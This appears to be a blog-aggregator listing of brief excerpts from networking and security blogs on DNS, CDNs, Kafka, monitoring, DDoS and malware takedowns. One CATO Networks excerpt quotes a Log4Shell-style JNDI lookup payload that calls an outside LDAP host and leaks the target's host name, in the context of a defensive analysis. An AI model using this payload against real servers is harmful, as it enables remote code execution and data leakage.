ByteByteGo

FEBRUARY 1, 2025

Each shard is also stored on a different server. Coding Clean Code by Robert C. Also, choosing the right index type is crucial. Sharding and Partitioning Divide the data into smaller, more manageable chunks known as shards.

UDP port 251

UDP port TCP Port Protocol 251

Kentik

DECEMBER 13, 2021

Some users simply can’t operate in their job when an application becomes unavailable. That’s why keeping a proverbial finger on the pulse of application performance is generally worth the effort. Many popular SaaS applications are delivered from hundreds of locations around the world. Check with the SaaS application.

Application 95

Application DNS Routers Server 95

Confluent

OCTOBER 7, 2019

This tutorial describes how to set up a sample Spring Boot application in Pivotal Application Service (PAS), which consumes and produces events to an Apache Kafka ® cluster running in Pivotal Container Service (PKS). Especially note the exposing external endpoints and proper DNS setup explained in part 1. Methodology.

Application 18

Application DNS PaaS Server 18

ByteByteGo

JANUARY 25, 2025

Youtube video) The Ultimate API Learning Roadmap 30 Useful AI Apps That Can Help You in 2025 10 Essential Components of a Production Web Application How do we design effective and safe APIs? Here’s a roadmap that covers the most important topics: Introduction to APIs API is a set of protocols and tools for building applications.

Cookie 167

Cookie Gateway Server Application 167

Kentik

SEPTEMBER 22, 2021

In an effort to regularize the deployment of software patches and updates to their software, Microsoft, years ago, designated this the day of the month to be when patches get pushed out globally to computers, servers, and other devices running Microsoft’s operating systems. OTT Service Tracking.

DNS 145

DNS Port Routers Network 145

ByteByteGo

DECEMBER 7, 2024

Redpanda Streamfest: Learn the latest in streaming data and AI (Sponsored) Redpanda Streamfest is your best chance to learn the latest techniques and technologies for building data pipelines that support real-time applications, analytics and AI. Used in IPTV and video conference applications. Used in DNS querying and CDNs.

Unicast 211

Unicast Banking Protocol Network 211

Kentik

JANUARY 10, 2022

To be more specific: slowness can be introduced as your digital connection traverses your PC, the local wifi/wired connection, the local ISP, the Tier 1 or Tier 2 provider, or the CDN that provides the hardware which hosts the web server running the application. Where is the DNS? False alarms. This would cut time off the test.

IP Address 98

IP Address DNS TCP Application 98

Kentik

OCTOBER 12, 2021

When I first entered the networking industry right out of college, many applications sent passwords over the network in clear text, unencrypted. This made accurately monitoring latency and packet loss to some applications impossible. Getting all the DNS logs is often impractical. Well, that didn’t last long.

Encryption 84

Encryption DNS IP Address Protocol 84

Kentik

JANUARY 28, 2021

However you get it, traffic is the key “what is” that shows you what users and applications are up to and how they’re interacting with the network! Questions you can’t answer with traffic alone: Is this drop in traffic to Google due to network, application, or other performance issues? Device Telemetry. What are my top talkers?

Network 72

Network Networking DNS IP Address 72

Kentik

AUGUST 3, 2021

Some of the biggest benefits when adopting a hybrid-cloud configuration are: Applications in the cloud often have greater redundancy and elasticity. This allows DevOps teams to configure the application to increase or decrease the amount of system capacity, like CPU, storage, memory and input/output bandwidth, all on-demand.

Cloud 124

Cloud Network Networking Gateway 124

Kentik

MARCH 20, 2019

Within the research, EMA asked the 250 enterprise NetOps respondents to describe how their network performance management tools support them from the following three perspectives: Network performance to and from cloud applications. Application and server performance in the cloud. Network performance between cloud workloads.

Engineering 102

Engineering Cloud Network Networking 102

ByteByteGo

NOVEMBER 23, 2024

The source could be any video and audio source wired up to an encoder Step 2: To provide the best upload condition for the streamer, most live streaming platforms provide point-of-presence servers worldwide. The streamer connects to a point-of-presence server closest to them.

IP Address 100

IP Address Routers Internet Server 100

Kentik

MARCH 7, 2023

Instrumenting business, application, and operational context to network telemetry give operators multifaceted views of traffic and behavior. Often this is the first tier of “enriching the data,” where correlations between network details like IP addresses, DNS names, application stack tags, and deployment versions can be made.

Network 99

Network Networking Cloud Engineering 99

Kentik

MARCH 13, 2023

How it used to be When I started my career in networking, servers were down the hall or in the campus data center. Yes, there’s something to say about how applications are written, but on the public internet side, we’ve seen a decrease in latency, cost, and a massive increase in available bandwidth.

WAN 98

WAN Wide Area Network Topology Internet 98

Kentik

APRIL 4, 2023

Be it power supplies, servers, routers, load balancers, proxies, or any other physical and virtual network components, the horizontal scaling that redundancy provides is the ultimate safety net in the presence of failure or atypical traffic demands. Top talkers are often the cause of outages for application stacks.

Cloud 104

Cloud Network Networking Bandwidth 104

Heroku

NOVEMBER 21, 2024

beta, our engineering team has addressed several bugs, all fairly straight-forward with one exception involving Puma -based applications. A small subset of Puma applications would experience increased response times upon enabling the Router 2.0 Then we tried varying the Rails applications internal response time.

Routers 59

Routers TCP Server DNS 59

Kentik

JUNE 4, 2019

OTT tagging: Because commercial CDNs deliver traffic for multiple content providers, OTT services can’t be identified based on the server IP in a flow record. Are my subscribers getting content from the nearest possible servers? The destination IP in flow data is matched to the IP from which the DNS query originated.

DNS 56

DNS Server Internet Network 56

Kentik

APRIL 19, 2023

Sometimes there is a perception that the embedded solution is about saving money for space and power needed to host the servers, but this is mostly a misunderstanding. The business case can directly compare the saved cost and the estimated cost of space and power for the embedded servers. Let’s have a look at the third case.

DNS 52

DNS IP Address Server Network 52

Kentik

MARCH 15, 2023

Distributed denial of service (DDoS) DDoS attacks are cyber attacks that most often have the purpose of causing application downtime. Application layer. These attacks typically seek out web server vulnerabilities with malformed or high-volume requests in layer 7 services.

Network 94

Network Networking Protocol IP Address 94

CATO Networks

AUGUST 17, 2021

According to Gartner, many emerging edge applications require a cloud-delivery-based approach, favoring providers with many points of presence (POPs). QoE takes into account the fact that some performance issues may have a negligible impact on application performance while others render an application unusable.

NaaS 52

NaaS Network Networking SASE 52

NW Kings

DECEMBER 10, 2024

We will also explore the relationship between TCP and UDP , the uses of ports, security implications, and practical applications in networking. A TCP port is a unique number assigned to specific services and applications that run on a server. The server listens on specific destination ports for incoming connections.

UDP port 40

UDP port Port TCP IP Address 40

Kentik

APRIL 5, 2023

Most website publishers use CDN services to deliver their sites and applications to ensure reliable and responsive performance for their end users. In 2023, work-from-home and e-learning applications continue to drive video consumption growth. The typical DNS-based flow for a content server by a CDN looks like this: 1.

Network 52

Network Networking DNS IP Address 52

Kentik

JUNE 14, 2023

But this type of encounter in space, this new application of battle strategy borne from intelligence without experience, meant Khan was handicapped from the start. For the most part, people access resources, usually in the form of applications, directly from the cloud — whether that’s public cloud, private cloud, or a SaaS provider.

WAN 59

WAN Data Centers DNS Internet 59

Confluent

OCTOBER 4, 2019

This is useful in cases where you are deploying a Pivotal Application Service (PAS) that produces and/or consumes to Kafka running in Enterprise PKS. Then, the following command should return successfully: kafka-broker-api-versions --command-config kafka.properties --bootstrap-server kafka:9071. Let’s begin! Requirements.

IP Address 16

IP Address Server DNS Engineering 16

Kentik

FEBRUARY 28, 2018

For background, memcached is an open source software package that provides an in-memory caching layer often deployed as a component of web application stacks to reduce load on traditional databases for frequently-accessed objects. In this way, it’s very much like DNS and NTP services that have been abused this way in the past.

DNS 40

DNS Server Bandwidth Application 40

Kentik

APRIL 16, 2018

So it should come as no surprise that big data analytics will play a critical role in managing application performance in hybrid multi-cloud and hyperscale infrastructure. Server, OS, VM and container instrumentation. Application performance metrics. Syslog data from various servers and network elements.

Cloud 40

Cloud Server DNS Application 40

Engineering at Meta

MAY 3, 2023

As part of this effort, we submitted takedown requests to third-party registrars, hosting providers, and application services such as Namecheap, which were targeted by these threat actors to facilitate distribution and malicious operations. This C2 server URL is hard-coded into the malware. For context, Node.js

Cookie 105

Cookie Internet JavaScript Media 105

CATO Networks

JUNE 14, 2023

In most cases, these patterns are evaluated on a single network packet, rather than a sequence of flows between a client host and a server. In Figure 3 and Figure 4, we can see a packet capture of a MacBook laptop initiating a TCP connection to a remote server. In this post we will cover those that are most commonly used today.

IoT 52

IoT TCP Protocol Server 52

CATO Networks

JULY 31, 2017

The context attributes include: Layer-7 Application Awareness: The Cato IPS is application-aware, applying rules based on network services, business applications, and application categories. Cato IPS identified that the machines were communicating with a C&C server that is used to spread Andromeda bot malware.

WAN 40

WAN Wide Area Network DNS Encryption 40

Kentik

SEPTEMBER 20, 2021

Application developers have also figured out clever ways of working around network latency problems, but there are limits to what can be done. After the DNS lookup and the ARP, the host reaches out to the IP address of the destination using a SYN in order to open a connection. Below is the beginning of a TCP handshake.

TCP 116

TCP Routers Bandwidth IP Address 116

How Funky

JANUARY 13, 2020

I believe one of the reasons so many platforms use them is because developers have become increasingly frustrated with the networking NAT/PAT/DNS problems and would prefer to have a more elegant routing and name space than what classic IPv4 and DNS provide. There are many options to choose from for a service mesh.

Network 40

Network Networking DNS Application 40

CATO Networks

JUNE 27, 2023

We just introduced what we believe is a unique application of real-time, deep learning (DL) algorithms to network prevention. One example of AI applications is in healthcare, where AI-powered systems can assist doctors in diagnosing diseases or recommending personalized treatment plans.

SASE 52

SASE Network Networking Artificial Intelligence 52

Kentik

JULY 19, 2021

In this multi-part blog series, I’ll help you learn how you can use synthetic monitoring to proactively track the performance and health of your networks, applications and services — with the ultimate goal of helping you drive real business outcomes. Logging into an application. network, DNS, HTTP, web, etc.), User actions.

Application 64

Application Network Networking IP Address 64

AWS Architecture

OCTOBER 4, 2024

Under the EUs revised PSD2, banks can use application programming interfaces (APIs) to securely share financial data with licensed and approved third-party providers (TPPs), when there is customer consent. For example, this can allow you to track your bank balances across multiple accounts in a single budgeting app.

Banking 55

Banking Financial Application DNS 55

CATO Networks

MAY 20, 2024

Figure 2: Distribution of Servers IPs by Number of Shared Domains Refer to Figure 3 for an illustration of a shared hosting IP address hosting both a highly malicious phishing site – ultrasafe.co.in This IP is managed by eWebGuru, a hosting service provider that allocates server resources to various clients.

IP Address 52

IP Address Server Port SMB 52

CATO Networks

DECEMBER 13, 2021

Exploiting this vulnerability allows attackers to take control over the affected servers, and this prompted a CVSS (Common Vulnerability Scoring System) severity level of 10. Sinkholes are internet-facing servers that collect traffic sent to them when a vulnerabilityPoCis found to be successful. x= ${jndi:ldap://1.${hostName}.<REDACTED>

Server 52

Server DNS Internet Networking 52

Scott's Weblog

AUGUST 16, 2024

Geoff Huston discusses DNS and UDP truncation. Servers/Hardware Permanent damage? Security I enjoy Ben Bornholm’s article showing how to use Cilium and Tetragon to secure a vulnerable web application. The post links to some good resources, and Leon provides three quick “lessons” to help folks get started.

DNS 40

DNS Server Banking Engineering 40